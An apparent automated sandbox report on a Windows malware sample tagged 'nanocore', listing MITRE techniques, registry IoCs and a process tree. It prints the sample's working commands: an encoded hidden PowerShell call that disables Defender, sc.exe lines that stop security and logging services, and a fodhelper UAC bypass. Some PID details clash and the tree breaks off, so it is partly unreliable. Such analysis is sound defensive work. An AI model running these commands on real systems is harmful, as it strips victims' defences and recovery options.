nanocore | 45f561cc2cd1585326289a475863b7dfdef1772f5475d16131d5c3b0212d3876

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	xoilacvt.com_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	xoilacvt.com_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4284	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	xoilacvt.com_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	xoilacvt.com_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvt.com_nano.exe"	xoilacvt.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	xoilacvt.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvt.com_nano.exe"	xoilacvt.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	xoilacvt.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvt.com_nano.exe"	xoilacvt.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	xoilacvt.com_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
5580	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	xoilacvt.com_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	xoilacvt.com_nano.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	xoilacvt.com_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	xoilacvt.com_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvt.com_nano.exe"	xoilacvt.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvt.com_nano.exe"	xoilacvt.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvt.com_nano.exe"	xoilacvt.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvt.com_nano.exe"	xoilacvt.com_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
2008	net1.exe
4468	net.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5736	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\sysupdate.exe	xoilacvt.com_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	xoilacvt.com_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	xoilacvt.com_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	xoilacvt.com_nano.exe
File created	C:\Windows\system32\svchost.exe	xoilacvt.com_nano.exe
File created	C:\Windows\system32\sysupdate.exe	xoilacvt.com_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1852	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	xoilacvt.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	xoilacvt.com_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
4724	xoilacvt.com_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
560	sc.exe
4328	sc.exe
1116	sc.exe
1272	sc.exe
5448	sc.exe
2500	sc.exe
5472	sc.exe
3784	sc.exe
3568	sc.exe
1884	sc.exe
2292	sc.exe
4264	sc.exe
1264	sc.exe
1916	sc.exe
1580	sc.exe
3048	sc.exe
3880	sc.exe
2236	sc.exe
2912	sc.exe
3788	sc.exe
1772	sc.exe
4468	sc.exe
1048	sc.exe
5676	sc.exe
1152	sc.exe
396	sc.exe
5148	sc.exe
3456	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4440	cmd.exe
5252	cmd.exe
900	cmd.exe
5996	cmd.exe
4244	cmd.exe
3772	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	xoilacvt.com_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	xoilacvt.com_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1772	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
5732	ipconfig.exe
5604	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
5408	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2668	vssadmin.exe
2200	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\Desktop\WallpaperStyle = "2"	xoilacvt.com_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	xoilacvt.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings	xoilacvt.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\shell\open	xoilacvt.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\.pdf\ = "PDFBotnet"	xoilacvt.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	xoilacvt.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvt.com_nano.exe\" \"%1\""	xoilacvt.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\shell\open\command	xoilacvt.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings	xoilacvt.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\shell	xoilacvt.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvt.com_nano.exe"	xoilacvt.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\shell\open\command\DelegateExecute	xoilacvt.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	xoilacvt.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\shell\open	xoilacvt.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\shell	xoilacvt.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	xoilacvt.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\shell\open\command	xoilacvt.com_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5632	schtasks.exe
3432	schtasks.exe
796	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4284	powershell.exe
4284	powershell.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe
4724	xoilacvt.com_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4724	xoilacvt.com_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4284	powershell.exe
Token: SeIncreaseQuotaPrivilege	4452	WMIC.exe
Token: SeSecurityPrivilege	4452	WMIC.exe
Token: SeTakeOwnershipPrivilege	4452	WMIC.exe
Token: SeLoadDriverPrivilege	4452	WMIC.exe
Token: SeSystemProfilePrivilege	4452	WMIC.exe
Token: SeSystemtimePrivilege	4452	WMIC.exe
Token: SeProfSingleProcessPrivilege	4452	WMIC.exe
Token: SeIncBasePriorityPrivilege	4452	WMIC.exe
Token: SeCreatePagefilePrivilege	4452	WMIC.exe
Token: SeBackupPrivilege	4452	WMIC.exe
Token: SeRestorePrivilege	4452	WMIC.exe
Token: SeShutdownPrivilege	4452	WMIC.exe
Token: SeDebugPrivilege	4452	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4452	WMIC.exe
Token: SeRemoteShutdownPrivilege	4452	WMIC.exe
Token: SeUndockPrivilege	4452	WMIC.exe
Token: SeManageVolumePrivilege	4452	WMIC.exe
Token: 33	4452	WMIC.exe
Token: 34	4452	WMIC.exe
Token: 35	4452	WMIC.exe
Token: 36	4452	WMIC.exe
Token: SeDebugPrivilege	4724	xoilacvt.com_nano.exe
Token: SeIncreaseQuotaPrivilege	4452	WMIC.exe
Token: SeSecurityPrivilege	4452	WMIC.exe
Token: SeTakeOwnershipPrivilege	4452	WMIC.exe
Token: SeLoadDriverPrivilege	4452	WMIC.exe
Token: SeSystemProfilePrivilege	4452	WMIC.exe
Token: SeSystemtimePrivilege	4452	WMIC.exe
Token: SeProfSingleProcessPrivilege	4452	WMIC.exe
Token: SeIncBasePriorityPrivilege	4452	WMIC.exe
Token: SeCreatePagefilePrivilege	4452	WMIC.exe
Token: SeBackupPrivilege	4452	WMIC.exe
Token: SeRestorePrivilege	4452	WMIC.exe
Token: SeShutdownPrivilege	4452	WMIC.exe
Token: SeDebugPrivilege	4452	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4452	WMIC.exe
Token: SeRemoteShutdownPrivilege	4452	WMIC.exe
Token: SeUndockPrivilege	4452	WMIC.exe
Token: SeManageVolumePrivilege	4452	WMIC.exe
Token: 33	4452	WMIC.exe
Token: 34	4452	WMIC.exe
Token: 35	4452	WMIC.exe
Token: 36	4452	WMIC.exe
Token: SeIncBasePriorityPrivilege	4724	xoilacvt.com_nano.exe
Token: SeDebugPrivilege	5604	NETSTAT.EXE
Token: SeDebugPrivilege	2908	whoami.exe
Token: SeDebugPrivilege	5736	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1768	WMIC.exe
Token: SeSecurityPrivilege	1768	WMIC.exe
Token: SeTakeOwnershipPrivilege	1768	WMIC.exe
Token: SeLoadDriverPrivilege	1768	WMIC.exe
Token: SeSystemProfilePrivilege	1768	WMIC.exe
Token: SeSystemtimePrivilege	1768	WMIC.exe
Token: SeProfSingleProcessPrivilege	1768	WMIC.exe
Token: SeIncBasePriorityPrivilege	1768	WMIC.exe
Token: SeCreatePagefilePrivilege	1768	WMIC.exe
Token: SeBackupPrivilege	1768	WMIC.exe
Token: SeRestorePrivilege	1768	WMIC.exe
Token: SeShutdownPrivilege	1768	WMIC.exe
Token: SeDebugPrivilege	1768	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1768	WMIC.exe
Token: SeRemoteShutdownPrivilege	1768	WMIC.exe
Token: SeUndockPrivilege	1768	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4724	xoilacvt.com_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 4724 wrote to memory of 4284	4724	xoilacvt.com_nano.exe	84
PID 4724 wrote to memory of 560	4724	xoilacvt.com_nano.exe	86
PID 4724 wrote to memory of 3784	4724	xoilacvt.com_nano.exe	88
PID 4724 wrote to memory of 4328	4724	xoilacvt.com_nano.exe	90
PID 4724 wrote to memory of 1116	4724	xoilacvt.com_nano.exe	92
PID 4724 wrote to memory of 1272	4724	xoilacvt.com_nano.exe	94
PID 4724 wrote to memory of 3048	4724	xoilacvt.com_nano.exe	96
PID 4724 wrote to memory of 3880	4724	xoilacvt.com_nano.exe	98
PID 4724 wrote to memory of 5676	4724	xoilacvt.com_nano.exe	100
PID 4724 wrote to memory of 3568	4724	xoilacvt.com_nano.exe	102
PID 4724 wrote to memory of 1884	4724	xoilacvt.com_nano.exe	104
PID 4724 wrote to memory of 2292	4724	xoilacvt.com_nano.exe	106
PID 4724 wrote to memory of 4264	4724	xoilacvt.com_nano.exe	108
PID 4724 wrote to memory of 5448	4724	xoilacvt.com_nano.exe	176
PID 4724 wrote to memory of 1152	4724	xoilacvt.com_nano.exe	112
PID 4724 wrote to memory of 396	4724	xoilacvt.com_nano.exe	114
PID 4724 wrote to memory of 5148	4724	xoilacvt.com_nano.exe	116
PID 4724 wrote to memory of 2236	4724	xoilacvt.com_nano.exe	118
PID 4724 wrote to memory of 3456	4724	xoilacvt.com_nano.exe	120
PID 4724 wrote to memory of 2912	4724	xoilacvt.com_nano.exe	122
PID 4724 wrote to memory of 1264	4724	xoilacvt.com_nano.exe	124
PID 4724 wrote to memory of 1916	4724	xoilacvt.com_nano.exe	126
PID 4724 wrote to memory of 3788	4724	xoilacvt.com_nano.exe	128
PID 4724 wrote to memory of 1772	4724	xoilacvt.com_nano.exe	185
PID 4724 wrote to memory of 4468	4724	xoilacvt.com_nano.exe	190
PID 4724 wrote to memory of 1912	4724	xoilacvt.com_nano.exe	133
PID 4724 wrote to memory of 2500	4724	xoilacvt.com_nano.exe	135
PID 4724 wrote to memory of 5472	4724	xoilacvt.com_nano.exe	137
PID 4724 wrote to memory of 2668	4724	xoilacvt.com_nano.exe	139
PID 4724 wrote to memory of 4452	4724	xoilacvt.com_nano.exe	141
PID 1912 wrote to memory of 4068	1912	fodhelper.exe	143
PID 4724 wrote to memory of 3432	4724	xoilacvt.com_nano.exe	144
PID 4724 wrote to memory of 796	4724	xoilacvt.com_nano.exe	146
PID 4724 wrote to memory of 4440	4724	xoilacvt.com_nano.exe	152
PID 4724 wrote to memory of 5252	4724	xoilacvt.com_nano.exe	154
PID 4724 wrote to memory of 3772	4724	xoilacvt.com_nano.exe	155
PID 4724 wrote to memory of 4244	4724	xoilacvt.com_nano.exe	156
PID 4724 wrote to memory of 5996	4724	xoilacvt.com_nano.exe	157
PID 4724 wrote to memory of 900	4724	xoilacvt.com_nano.exe	158
PID 4724 wrote to memory of 5632	4724	xoilacvt.com_nano.exe	159
PID 4724 wrote to memory of 1852	4724	xoilacvt.com_nano.exe	166
PID 5252 wrote to memory of 5408	5252	cmd.exe	168
PID 900 wrote to memory of 5604	900	cmd.exe	169
PID 3772 wrote to memory of 5736	3772	cmd.exe	170
PID 4244 wrote to memory of 2908	4244	cmd.exe	171
PID 5996 wrote to memory of 5732	5996	cmd.exe	172
PID 4440 wrote to memory of 2200	4440	cmd.exe	173
PID 4440 wrote to memory of 1768	4440	cmd.exe	174
PID 4724 wrote to memory of 1440	4724	xoilacvt.com_nano.exe	175
PID 4724 wrote to memory of 5560	4724	xoilacvt.com_nano.exe	177
PID 4724 wrote to memory of 5580	4724	xoilacvt.com_nano.exe	178
PID 4724 wrote to memory of 1580	4724	xoilacvt.com_nano.exe	181
PID 4724 wrote to memory of 1048	4724	xoilacvt.com_nano.exe	182
PID 4724 wrote to memory of 3324	4724	xoilacvt.com_nano.exe	183
PID 4724 wrote to memory of 1772	4724	xoilacvt.com_nano.exe	185
PID 5560 wrote to memory of 5320	5560	net.exe	188
PID 4724 wrote to memory of 4468	4724	xoilacvt.com_nano.exe	190
PID 4724 wrote to memory of 5596	4724	xoilacvt.com_nano.exe	192
PID 5596 wrote to memory of 3884	5596	net.exe	194
PID 4468 wrote to memory of 2008	4468	net.exe	195

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\xoilacvt.com_nano.exe
"C:\Users\Admin\AppData\Local\Temp\xoilacvt.com_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4284
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:560
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3784
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4328
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1116
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1272
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3048
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3880
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5676
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3568
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:1884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:2292
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:4264
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:5448
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:1152
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:5148
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:2236
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:3456
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:2912
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:1264
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:1916
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:3788
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:1772
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:4468
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Users\Admin\AppData\Local\Temp\xoilacvt.com_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilacvt.com_nano.exe"
    3⤵
    PID:4068
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
